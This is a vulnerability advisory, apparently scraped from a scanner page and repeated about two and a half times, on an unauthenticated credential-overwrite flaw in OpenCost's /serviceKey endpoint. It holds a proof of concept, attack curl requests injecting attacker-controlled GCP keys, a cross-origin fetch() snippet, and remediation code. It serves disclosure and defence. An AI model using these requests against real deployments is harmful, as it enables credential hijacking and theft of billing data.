## Summary OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters. --- ## Affected Versions - **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey` --- ## Vulnerability Details ### Root Cause The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation: ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS r.ParseForm() key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) } w.WriteHeader(http.StatusOK) } ``` **File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") } func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) } func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ``` ### Security Issues 1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable --- ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured #### Step 1: Create Namespace ```bash kubectl create namespace opencost ``` **Output**: ``` namespace/opencost created ``` #### Step 2: Add OpenCost Helm Repository ```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ``` **Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ``` #### Step 3: Deploy OpenCost ```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ``` **Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations **Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ``` #### Step 4: Verify Deployment ```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ``` **Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ``` #### Step 5: Verify Service Accessibility ```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ``` **Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ``` ### Exploitation #### Step 6: Check Initial State ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ``` Note: File does not exist initially #### Step 7: Verify CONFIG_PATH Configuration ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ``` **Output**: ``` CONFIG_PATH=/tmp ``` Note: CONFIG_PATH correctly set to /tmp #### Step 8: Execute Exploit ```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}' kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ``` **Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ``` **Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ``` Result: HTTP 200 OK - Request successful without authentication #### Step 9: Verify File Write ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ``` Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file --- ## Impact Analysis ### Direct Impact | Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content | ### Attack Scenario Analysis #### Scenario 1: GCP Credential Overwrite Leading to Service Disruption **Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops **Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ``` **Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials **CVSS Impact Score**: Availability impact is Low (A:L) --- #### Scenario 2: Malicious Credential Injection for Data Hijacking **Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project **Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "[email protected]" }' curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ``` **Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information **Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction) **CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High --- #### Scenario 3: Cross-Origin Attack (CORS Exploitation) **Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack **Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint **Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ``` **Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network --- ### Vulnerability Limitations **What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate **Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed) --- ### Real-World Impact Assessment | Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks | **Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High** --- ## Remediation ### Immediate Actions (P0) #### 1. Add Authentication ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // ... existing logic } ``` #### 2. Implement Input Validation ```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") } requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } } if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") } return nil } ``` #### 3. Restrict CORS ```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ``` ### Long-term Solutions (P1) 1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions --- ## Workarounds Until a patch is available, implement these mitigations: 1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible --- ## References - **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
## Summary OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters. --- ## Affected Versions - **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey` --- ## Vulnerability Details ### Root Cause The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation: ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS r.ParseForm() key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) } w.WriteHeader(http.StatusOK) } ``` **File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") } func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) } func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ``` ### Security Issues 1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable --- ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured #### Step 1: Create Namespace ```bash kubectl create namespace opencost ``` **Output**: ``` namespace/opencost created ``` #### Step 2: Add OpenCost Helm Repository ```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ``` **Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ``` #### Step 3: Deploy OpenCost ```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ``` **Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations **Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ``` #### Step 4: Verify Deployment ```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ``` **Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ``` #### Step 5: Verify Service Accessibility ```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ``` **Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ``` ### Exploitation #### Step 6: Check Initial State ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ``` Note: File does not exist initially #### Step 7: Verify CONFIG_PATH Configuration ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ``` **Output**: ``` CONFIG_PATH=/tmp ``` Note: CONFIG_PATH correctly set to /tmp #### Step 8: Execute Exploit ```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}' kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ``` **Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ``` **Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ``` Result: HTTP 200 OK - Request successful without authentication #### Step 9: Verify File Write ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ``` Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file --- ## Impact Analysis ### Direct Impact | Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content | ### Attack Scenario Analysis #### Scenario 1: GCP Credential Overwrite Leading to Service Disruption **Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops **Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ``` **Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials **CVSS Impact Score**: Availability impact is Low (A:L) --- #### Scenario 2: Malicious Credential Injection for Data Hijacking **Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project **Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "[email protected]" }' curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ``` **Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information **Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction) **CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High --- #### Scenario 3: Cross-Origin Attack (CORS Exploitation) **Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack **Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint **Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ``` **Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network --- ### Vulnerability Limitations **What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate **Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed) --- ### Real-World Impact Assessment | Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | **Via port-forward** | Medium-High | Local dev environments vulnerable to CORS attacks | **Recommended Risk Rating**: - Default deployment (cluster-internal): **Medium** - Improperly exposed (public internet): **High** --- ## Remediation ### Immediate Actions (P0) #### 1. Add Authentication ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { // Add authentication check if !a.isAuthorized(r) { http.Error(w, "Unauthorized", http.StatusUnauthorized) return } // ... existing logic } ``` #### 2. Implement Input Validation ```go func validateServiceKey(key string) error { var keyData map[string]interface{} if err := json.Unmarshal([]byte(key), &keyData); err != nil { return fmt.Errorf("invalid JSON format") } requiredFields := []string{"type", "project_id", "private_key_id", "private_key"} for _, field := range requiredFields { if _, ok := keyData[field]; !ok { return fmt.Errorf("missing required field: %s", field) } } if keyData["type"] != "service_account" { return fmt.Errorf("invalid key type") } return nil } ``` #### 3. Restrict CORS ```go w.Header().Set("Access-Control-Allow-Origin", os.Getenv("ALLOWED_ORIGIN")) ``` ### Long-term Solutions (P1) 1. **Use Kubernetes Secrets**: Store credentials in Kubernetes Secrets instead of files 2. **Implement RBAC**: Role-based access control for sensitive operations 3. **Add Audit Logging**: Log all file write operations 4. **Apply Least Privilege**: Minimize ClusterRole permissions --- ## Workarounds Until a patch is available, implement these mitigations: 1. **Network Segmentation**: Restrict access to OpenCost service using NetworkPolicies 2. **Disable Endpoint**: Remove or disable the `/serviceKey` endpoint if not required 3. **Monitor File Changes**: Alert on modifications to `key.json` file 4. **Use Read-only Filesystem**: Mount config directory as read-only where possible --- ## References - **Vulnerable Code**: `pkg/costmodel/router.go:365-379` - **Environment Configuration**: `core/pkg/env/core.go` - **OWASP**: [Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) - **CWE-306**: [Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html) - **CWE-20**: [Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)
Update github.com/opencost/opencost to 1.119.1 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanOpenCost ServiceKey Endpoint Unauthorized Credential Overwrite/Injection affects github.com/opencost/opencost (go). Severity is high. ## Summary OpenCost contains an unauthenticated file write vulnerability in the `/serviceKey` endpoint that allows remote attackers to overwrite the GCP service account key file without authentication. This can lead to service disruption, credential theft, and potential privilege escalation within Kubernetes clusters. --- ## Affected Versions - **OpenCost**: All versions up to and including the latest release - **Vulnerable File**: `pkg/costmodel/router.go` (lines 365-379) - **Vulnerable Endpoint**: `POST /serviceKey` --- ## Vulnerability Details ### Root Cause The `AddServiceKey` function in `pkg/costmodel/router.go` accepts user-supplied data via POST request and writes it directly to a file without any authentication or input validation: ```go func (a *Accesses) AddServiceKey(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") // Overly permissive CORS r.ParseForm() key := r.PostForm.Get("key") // User-controlled input, no validation k := []byte(key) err := os.WriteFile(env.GetGCPAuthSecretFilePath(), k, 0644) // Direct file write if err != nil { fmt.Fprintf(w, "Error writing service key: %s", err) } w.WriteHeader(http.StatusOK) } ``` **File Path Determination** (`core/pkg/env/core.go`): ```go func GetGCPAuthSecretFilePath() string { return GetPathFromConfig("key.json") } func GetPathFromConfig(fileName string) string { return filepath.Join(GetConfigPath(), fileName) } func GetConfigPath() string { return Get(ConfigPathEnvVar, DefaultConfigPath) // Default: /var/configs } ``` ### Security Issues 1. **No Authentication**: Any network-accessible client can invoke the endpoint 2. **No Input Validation**: User input is not validated as a valid GCP service account key 3. **Overly Permissive CORS**: `Access-Control-Allow-Origin: *` allows cross-origin attacks 4. **Predictable File Path**: File location controlled by `CONFIG_PATH` environment variable --- ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (tested on kind v1.30.0) - Helm 3.x - kubectl configured #### Step 1: Create Namespace ```bash kubectl create namespace opencost ``` **Output**: ``` namespace/opencost created ``` #### Step 2: Add OpenCost Helm Repository ```bash helm repo add opencost https://opencost.github.io/opencost-helm-chart helm repo update ``` **Output**: ``` "opencost" has been added to your repositories Hang tight while we grab the latest from your chart repositories... ...Successfully got an update from the "opencost" chart repository Update Complete. Happy Helming! ``` #### Step 3: Deploy OpenCost ```bash helm install opencost opencost/opencost --namespace opencost \ --set opencost.exporter.defaultClusterId=test-cluster \ --set opencost.prometheus.internal.enabled=true \ --set opencost.prometheus.internal.serviceName=kube-prometheus-stack-prometheus \ --set opencost.prometheus.internal.namespaceName=monitoring \ --set opencost.prometheus.internal.port=9090 \ --set-string 'opencost.exporter.extraEnv.CONFIG_PATH=/tmp' ``` **Key Configuration**: - `CONFIG_PATH=/tmp`: Sets writable directory for file operations **Output**: ``` NAME: opencost LAST DEPLOYED: Sun Jan 18 00:39:21 2026 NAMESPACE: opencost STATUS: deployed REVISION: 1 ``` #### Step 4: Verify Deployment ```bash kubectl get pods -l app.kubernetes.io/instance=opencost -n opencost ``` **Output**: ``` NAME READY STATUS RESTARTS AGE opencost-db97bbcc-5q8cb 2/2 Running 0 44s ``` #### Step 5: Verify Service Accessibility ```bash kubectl run curl-test --image=curlimages/curl --rm -i --restart=Never -- \ curl -v http://opencost.opencost.svc.cluster.local:9003/healthz ``` **Output**: ``` < HTTP/1.1 200 OK < Vary: Origin < Date: Sat, 17 Jan 2026 16:32:07 GMT < Content-Length: 0 ``` ### Exploitation #### Step 6: Check Initial State ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ``` cat: can't open '/tmp/key.json': No such file or directory ``` Note: File does not exist initially #### Step 7: Verify CONFIG_PATH Configuration ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- env | grep CONFIG_PATH ``` **Output**: ``` CONFIG_PATH=/tmp ``` Note: CONFIG_PATH correctly set to /tmp #### Step 8: Execute Exploit ```bash MALICIOUS_CONTENT='{"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"}' kubectl run vuln-exploit --image=curlimages/curl --rm -i --restart=Never -- \ curl -X POST http://opencost.opencost.svc.cluster.local:9003/serviceKey \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "key=${MALICIOUS_CONTENT}" \ -v ``` **Request Details**: ``` > POST /serviceKey HTTP/1.1 > Host: opencost.opencost.svc.cluster.local:9003 > User-Agent: curl/8.18.0 > Accept: */* > Content-Type: application/x-www-form-urlencoded > Content-Length: 244 ``` **Response Details**: ``` < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Type: application/json < Vary: Origin < Date: Sat, 17 Jan 2026 16:42:29 GMT < Content-Length: 0 ``` Result: HTTP 200 OK - Request successful without authentication #### Step 9: Verify File Write ```bash kubectl exec -n opencost opencost-db97bbcc-5q8cb -c opencost -- cat /tmp/key.json ``` **Output**: ```json {"type":"VULNERABILITY_PROOF","vuln_id":"VUL-002","timestamp":"2026-01-18T00:41:00Z","message":"Arbitrary file write without authentication - SUCCESSFUL","injected_by":"security_researcher","evidence":"This proves the vulnerability exists"} ``` Result: VULNERABILITY CONFIRMED - Malicious content successfully written to file --- ## Impact Analysis ### Direct Impact | Impact Type | Severity | Description | |------------|----------|-------------| | **Unauthorized Credential Overwrite** | High | Attacker can overwrite GCP service account key file content | | **No Authentication Required** | High | Vulnerability can be exploited without any credentials | | **CORS Misconfiguration** | Medium | Allows cross-origin attacks via malicious websites | | **Fixed File Path** | Low | Attacker cannot control write location, only content | ### Attack Scenario Analysis #### Scenario 1: GCP Credential Overwrite Leading to Service Disruption **Attack Steps**: 1. Attacker sends POST request with invalid JSON or malformed GCP key 2. `/serviceKey` endpoint accepts request and overwrites existing `key.json` file 3. OpenCost attempts to access GCP API with corrupted credentials 4. GCP integration fails, cost data collection stops **Technical Details**: ```bash # Attack payload example curl -X POST http://opencost:9003/serviceKey \ -d 'key={"invalid":"json","corrupted":"credentials"}' ``` **Impact**: - **Cost Monitoring Disruption**: Unable to retrieve GCP cloud cost data - **Operational Impact**: FinOps processes dependent on cost data are blocked - **Availability Degradation**: Manual intervention required to restore correct credentials **CVSS Impact Score**: Availability impact is Low (A:L) --- #### Scenario 2: Malicious Credential Injection for Data Hijacking **Attack Steps**: 1. Attacker creates their own GCP project and service account 2. Injects attacker-controlled valid GCP credentials into OpenCost 3. OpenCost uses attacker's credentials to send requests to GCP Billing API 4. Target organization's cost data is sent to attacker's GCP project **Technical Details**: ```bash # Inject attacker credentials ATTACKER_KEY='{ "type": "service_account", "project_id": "attacker-billing-project", "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n", "client_email": "[email protected]" }' curl -X POST http://opencost:9003/serviceKey -d "key=${ATTACKER_KEY}" ``` **Impact**: - **Sensitive Data Leakage**: Organization's cloud resource usage patterns and cost details - **Business Intelligence Leakage**: Can infer business scale, growth trends, technology stack - **Compliance Risk**: Cost data may contain protected business information **Data Leakage Examples**: - Kubernetes cluster size and node configuration - Resource consumption per namespace (can map to business units) - Cloud service usage patterns (databases, storage, compute instance types) - Cost trends (can infer business growth or contraction) **CVSS Impact Score**: Confidentiality impact is None (C:N), but business impact is High --- #### Scenario 3: Cross-Origin Attack (CORS Exploitation) **Attack Steps**: 1. User visits attacker-controlled malicious website 2. Malicious JavaScript sends POST request to `http://localhost:9003/serviceKey` 3. Due to CORS set to `*`, browser allows cross-origin request 4. User's browser acts as proxy to execute credential overwrite attack **Prerequisites**: - User exposes OpenCost service via `kubectl port-forward` or other means - User's browser can access OpenCost endpoint **Technical Details**: ```javascript // JavaScript on malicious website fetch('http://localhost:9003/serviceKey', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'key={"type":"malicious"}' }); ``` **Impact**: - **User-Unaware Attack**: No active user interaction required - **Difficult to Trace**: Attack originates from victim's IP address - **Limited Exploitation Conditions**: Requires OpenCost exposed to user-accessible network --- ### Vulnerability Limitations **What Attacker Cannot Control**: - **File Write Path**: Fixed by `CONFIG_PATH` environment variable, attacker cannot modify - **File Name**: Fixed as `key.json`, cannot write to other files - **File Permissions**: Write permission is `0644`, attacker cannot escalate **Actual Attack Capabilities**: - **File Content Control**: Complete control over `key.json` content - **Unauthenticated Exploitation**: No credentials required to trigger - **Remote Accessibility**: Can be exploited over network (if service exposed) --- ### Real-World Impact Assessment | Deployment Scenario | Risk Level | Description | |---------------------|-----------|-------------| | **Cluster-Internal Only** | Medium | Requires attacker to have cluster network access | | **Exposed via Ingress** | High | Any internet user can exploit | | **Exposed via NodePort** | High | Attackers with node network access can exploit | | 